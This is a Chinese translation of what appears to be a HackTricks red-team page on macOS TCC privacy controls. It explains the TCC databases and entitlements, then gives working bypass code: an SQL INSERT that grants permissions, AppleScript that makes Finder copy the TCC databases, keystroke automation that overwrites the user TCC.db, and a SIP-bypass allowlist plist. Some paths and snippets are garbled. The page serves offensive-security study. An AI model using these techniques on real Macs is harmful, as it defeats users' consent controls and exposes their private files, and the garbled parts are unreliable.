macOS TCC

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

基本信息

TCC(透明度、同意和控制)是一种安全协议,专注于规范应用程序权限。其主要作用是保护诸如位置服务、联系人、照片、麦克风、摄像头、辅助功能和完全磁盘访问等敏感功能。通过在授予应用程序对这些元素访问之前强制要求明确用户同意,TCC增强了隐私和用户对其数据的控制。

用户在应用程序请求访问受保护功能时会遇到TCC。这通过一个提示可见,允许用户批准或拒绝访问。此外,TCC还支持直接用户操作,例如将文件拖放到应用程序中,以授予对特定文件的访问权限,确保应用程序仅能访问明确允许的内容。

TCC由位于/System/Library/PrivateFrameworks/TCC.framework/Support/tccd守护程序处理,并在/System/Library/LaunchDaemons/com.apple.tccd.system.plist中进行配置(注册mach服务com.apple.tccd.system)。

每个已登录用户定义的用户模式tccd/System/Library/LaunchAgents/com.apple.tccd.plist中运行,注册mach服务com.apple.tccdcom.apple.usernotifications.delegate.com.apple.tccd

在这里您可以看到作为系统和用户运行的tccd:

ps -ef | grep tcc
0   374     1   0 Thu07PM ??         2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079     1   0  6:59PM ??         0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

权限是从父应用程序继承的,权限是基于Bundle ID和Developer ID进行跟踪。

TCC数据库

然后将允许/拒绝存储在一些TCC数据库中:

  • 系统范围的数据库位于 /Library/Application Support/com.apple.TCC/TCC.db

  • 此数据库受 SIP 保护,因此只有 SIP 绕过才能写入其中。

  • 用户TCC数据库 $HOME/Library/Application Support/com.apple.TCC/TCC.db 用于每个用户的偏好设置。

  • 此数据库受保护,因此只有具有高TCC权限的进程(如完全磁盘访问)才能写入其中(但不受 SIP 保护)。

先前的数据库也受到 TCC 保护以进行读取访问。因此,除非是来自具有 TCC 特权进程的情况,否则您将无法读取常规用户TCC数据库。

但是,请记住,具有这些高权限的进程(如 FDAkTCCServiceEndpointSecurityClient)将能够写入用户的 TCC 数据库。

  • 还有一个 第三个 TCC 数据库位于 /var/db/locationd/clients.plist,用于指示允许访问位置服务的客户端。

  • 受 SIP 保护的文件 /Users/carlospolop/Downloads/REG.db(也受 TCC 读取访问保护),包含所有有效 TCC 数据库的位置。

  • 受 SIP 保护的文件 /Users/carlospolop/Downloads/MDMOverrides.plist(也受 TCC 读取访问保护),包含更多 TCC 授予的权限。

  • 受 SIP 保护的文件 /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist(但任何人都可以读取)是需要 TCC 异常的应用程序的允许列表。

iOS 中的 TCC 数据库位于 /private/var/mobile/Library/TCC/TCC.db

通知中心 UI 可以对系统 TCC 数据库进行更改:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
[..]
com.apple.private.tcc.manager
com.apple.rootless.storage.TCC

然而,用户可以使用**tccutil命令行实用程序删除或查询规则**。

查询数据库

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db
sqlite> .schema
# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id
# The table access contains the permissions per services
sqlite> select service, client, auth_value, auth_reason from access;
kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4
kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2
kTCCServiceMicrophone|us.zoom.xos|2|2
[...]

# Check user approved permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=2;
# Check user denied permissions for telegram
sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

检查这两个数据库,您可以检查应用程序已允许、已禁止或未拥有的权限(它会请求这些权限)。

  • service 是 TCC 权限的字符串表示

  • client 是具有权限的 Bundle ID 或二进制文件路径

  • client_type 指示它是 Bundle 标识符(0)还是绝对路径(1)

如果是绝对路径,如何执行

只需执行 launctl load you_bin.plist,使用类似以下的 plist 文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<!-- Label for the job -->
<key>Label</key>
<string>com.example.yourbinary</string>

<!-- The path to the executable -->
<key>Program</key>
<string>/path/to/binary</string>

<!-- Arguments to pass to the executable (if any) -->
<key>ProgramArguments</key>
<array>
<string>arg1</string>
<string>arg2</string>
</array>

<!-- Run at load -->
<key>RunAtLoad</key>
<true/>

<!-- Keep the job alive, restart if necessary -->
<key>KeepAlive</key>
<true/>

<!-- Standard output and error paths (optional) -->
<key>StandardOutPath</key>
<string>/tmp/YourBinary.stdout</string>
<key>StandardErrorPath</key>
<string>/tmp/YourBinary.stderr</string>
</dict>
</plist>
  • auth_value 可以有不同的值: denied(0), unknown(1), allowed(2), 或 limited(3)。

  • auth_reason 可以取以下值: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)

  • csreq 字段用于指示如何验证要执行的二进制文件并授予 TCC 权限:

# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;

# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"
echo "$BLOB" | xxd -r -p > terminal-csreq.bin
csreq -r- -t < terminal-csreq.bin

# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}')
echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin  | tr -d '\n')
echo "X'$REQ_HEX'"
  • 要了解表格的其他字段的更多信息,请查看此博文

您还可以在系统偏好设置 --> 安全性与隐私 --> 隐私 --> 文件和文件夹中查看已授予的权限给应用程序。

用户可以使用**tccutil** 删除或查询规则

重置 TCC 权限

# You can reset all the permissions given to an application with
tccutil reset All app.some.id

# Reset the permissions granted to all apps
tccutil reset All

TCC 签名检查

TCC 数据库 存储了应用程序的 Bundle ID,但它还存储了有关签名的 信息,以确保请求使用权限的应用程序是正确的应用程序。

# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
#Get csreq

# From bash
echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checks
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

因此,使用相同名称和捆绑标识的其他应用程序将无法访问授予其他应用程序的权限。

权限和TCC权限

应用程序不仅需要请求并获得对某些资源的访问权限,还需要具有相关的权限。 例如,Telegram具有权限com.apple.security.device.camera来请求访问摄像头。没有此权限的应用程序将无法访问摄像头(用户甚至不会被要求授予权限)。

然而,要访问某些用户文件夹,如~/Desktop~/Downloads~/Documents,应用程序不需要具有任何特定的权限。系统将透明地处理访问并根据需要提示用户。

苹果的应用程序不会生成提示。它们在其权限列表中包含预授予权利,这意味着它们永远不会生成弹出窗口,也不会出现在任何TCC数据库中。例如:

codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
<key>com.apple.private.tcc.allow</key>
<array>
<string>kTCCServiceReminders</string>
<string>kTCCServiceCalendar</string>
<string>kTCCServiceAddressBook</string>
</array>

这将避免日历请求用户访问提醒事项、日历和通讯录。

除了一些关于授权的官方文档之外,还可以在https://newosxbook.com/ent.jl找到一些非官方的有关授权的有趣信息

一些TCC权限包括:kTCCServiceAppleEvents、kTCCServiceCalendar、kTCCServicePhotos... 没有公开的列表定义了所有这些权限,但可以查看这个已知权限列表

敏感且未受保护的位置

  • $HOME(本身)

  • $HOME/.ssh、$HOME/.aws 等

  • /tmp

用户意图 / com.apple.macl

如前所述,可以通过将文件拖放到应用程序中来授予应用程序对文件的访问权限。这种访问权限不会在任何TCC数据库中指定,而是作为文件的扩展属性。该属性将存储允许应用程序的 UUID

xattr Desktop/private.txt
com.apple.macl

# Check extra access to the file
## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_read Desktop/private.txt
Filename,Header,App UUID
"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3

# Get the UUID of the app
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3

有趣的是 com.apple.macl 属性由 Sandbox 管理,而不是 tccd。

另请注意,如果您将允许计算机上应用程序的 UUID 的文件移动到不同的计算机,因为相同的应用程序将具有不同的 UID,它不会授予该应用程序访问权限。

扩展属性 com.apple.macl 无法像其他扩展属性一样清除,因为它受到 SIP 保护。但是,如在此文章中解释的,可以通过压缩文件,删除文件,然后解压缩文件来禁用它。

TCC权限提升和绕过

插入到TCC

如果您在某个时刻成功获得对 TCC 数据库的写访问权限,可以使用类似以下内容的方法添加条目(删除注释):

插入到TCC示例

```sql INSERT INTO access ( service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client_type (0 - bundle id) 2, -- auth_value (2 - allowed) 3, -- auth_reason (3 - "User Set") 1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy_id NULL, -- indirect_object_identifier_type 'UNUSED', -- indirect_object_identifier - default value NULL, -- indirect_object_code_identity 0, -- flags strftime('%s', 'now'), -- last_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid_version is an integer and optional 'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp ); ```

TCC Payloads

如果您成功进入具有某些TCC权限的应用程序,请查看以下页面中的TCC有效载荷以滥用它们:

pagemacOS TCC Payloads

Apple Events

了解有关苹果事件的信息:

pagemacOS Apple Events

自动化(Finder)到FDA*

自动化权限的TCC名称是:kTCCServiceAppleEvents 此特定的TCC权限还指示了TCC数据库中可以被管理的应用程序(因此权限不允许仅仅管理所有内容)。

Finder是一个始终具有FDA(即使它不显示在UI中)的应用程序,因此如果您对其具有自动化权限,您可以滥用其权限执行一些操作。 在这种情况下,您的应用程序需要对**com.apple.FinderkTCCServiceAppleEvents**权限。

# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
tell application "Finder"
set homeFolder to path to home folder as string
set sourceFile to (homeFolder & "Library:Application Support:com.apple.TCC:TCC.db") as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD
osascript<<EOD
tell application "Finder"
set sourceFile to POSIX file "/Library/Application Support/com.apple.TCC/TCC.db" as alias
set targetFolder to POSIX file "/tmp" as alias
duplicate file sourceFile to targetFolder with replacing
end tell
EOD

您可以滥用此功能来编写自己的用户TCC数据库

有了这个权限,您将能够要求查找器访问TCC受限文件夹并提供文件,但据我所知,您无法让Finder执行任意代码来充分滥用他的FDA访问权限。

因此,您将无法滥用完整的FDA功能。

这是获取Finder上的自动化权限的TCC提示:

请注意,因为Automator应用程序具有TCC权限**kTCCServiceAppleEvents,它可以控制任何应用程序**,比如Finder。因此,拥有控制Automator的权限,您也可以使用下面的代码控制Finder

在Automator中获取一个shell

```applescript osascript<

tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND_STRING" to theScript end tell execute it end tell activate end tell EOD

Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear

</details>

同样适用于**脚本编辑器应用程序**,它可以控制Finder,但是使用AppleScript,你无法强制其执行脚本。

### 自动化(SE)到一些TCC

**系统事件可以创建文件夹操作,文件夹操作可以访问一些TCC文件夹**(桌面、文稿和下载),因此可以使用以下脚本来滥用这种行为:
```bash
# Create script to execute with the action
cat > "/tmp/script.js" <<EOD
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");
EOD

osacompile -l JavaScript -o "$HOME/Library/Scripts/Folder Action Scripts/script.scpt" "/tmp/script.js"

# Create folder action with System Events in "$HOME/Desktop"
osascript <<EOD
tell application "System Events"
-- Ensure Folder Actions are enabled
set folder actions enabled to true

-- Define the path to the folder and the script
set homeFolder to path to home folder as text
set folderPath to homeFolder & "Desktop"
set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt"

-- Create or get the Folder Action for the Desktop
if not (exists folder action folderPath) then
make new folder action at end of folder actions with properties {name:folderPath, path:folderPath}
end if
set myFolderAction to folder action folderPath

-- Attach the script to the Folder Action
if not (exists script scriptPath of myFolderAction) then
make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath}
end if

-- Enable the Folder Action and the script
enable myFolderAction
end tell
EOD

# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"

自动化(SE)+ 辅助功能(kTCCServicePostEvent|kTCCServiceAccessibility**)到 FDA*

System Events 上的自动化 + 辅助功能(kTCCServicePostEvent)允许发送按键到进程。这样,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA(尽管可能需要提示输入密码)。

Finder 覆盖用户 TCC.db 的示例:

-- store the TCC.db file to copy in /tmp
osascript <<EOF
tell application "System Events"
-- Open Finder
tell application "Finder" to activate

-- Open the /tmp directory
keystroke "g" using {command down, shift down}
delay 1
keystroke "/tmp"
delay 1
keystroke return
delay 1

-- Select and copy the file
keystroke "TCC.db"
delay 1
keystroke "c" using {command down}
delay 1

-- Resolve $HOME environment variable
set homePath to system attribute "HOME"

-- Navigate to the Desktop directory under $HOME
keystroke "g" using {command down, shift down}
delay 1
keystroke homePath & "/Library/Application Support/com.apple.TCC"
delay 1
keystroke return
delay 1

-- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke "TCC.db"
delay 1
keystroke return
delay 1
key code 51 using {command down}
delay 1

-- Paste the file
keystroke "v" using {command down}
end tell
EOF

kTCCServiceAccessibility to FDA*

查看此页面以获取一些滥用辅助功能权限的有效载荷来提升权限至FDA*或例如运行键盘记录器。

Endpoint Security Client to FDA

如果你有**kTCCServiceEndpointSecurityClient**,你就有FDA。结束。

System Policy SysAdmin File to FDA

kTCCServiceSystemPolicySysAdminFiles 允许更改用户的**NFSHomeDirectory属性,从而更改用户的主文件夹,因此可以绕过TCC**。

User TCC DB to FDA

获得对用户TCC数据库的写入权限,你无法授予自己**FDA**权限,只有位于系统数据库中的权限可以授予。

但是你可以给自己**对Finder的自动化权限**,并滥用先前的技术来提升至FDA*。

FDA to TCC permissions

全磁盘访问在TCC中的名称是**kTCCServiceSystemPolicyAllFiles**

我不认为这是一个真正的权限提升,但以防万一你觉得有用:如果你控制了一个具有FDA的程序,你可以修改用户的TCC数据库并授予自己任何访问权限。这可以作为一种持久性技术,在你可能失去FDA权限时有用。

SIP Bypass to TCC Bypass

系统的TCC数据库受到SIP的保护,因此只有具有指定赋权的进程才能修改它。因此,如果攻击者找到了SIP绕过(能够修改受SIP限制的文件),他将能够:

  • 移除TCC数据库的保护,并赋予自己所有TCC权限。例如,他可以滥用以下任何文件:

  • TCC系统数据库

  • REG.db

  • MDMOverrides.plist

然而,还有另一种选择可以滥用这个SIP绕过来绕过TCC,文件/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist是一个需要TCC例外的应用程序允许列表。因此,如果攻击者可以移除此文件的SIP保护并添加自己的应用程序,该应用程序将能够绕过TCC。 例如,要添加终端:

# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app

AllowApplicationsList.plist:

允许应用程序列表.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Services</key>
<dict>
<key>SystemPolicyAllFiles</key>
<array>
<dict>
<key>CodeRequirement</key>
<string>identifier &quot;com.apple.Terminal&quot; and anchor apple</string>
<key>IdentifierType</key>
<string>bundleID</string>
<key>Identifier</key>
<string>com.apple.Terminal</string>
</dict>
</array>
</dict>
</dict>
</plist>

TCC绕过

参考资料

最后更新于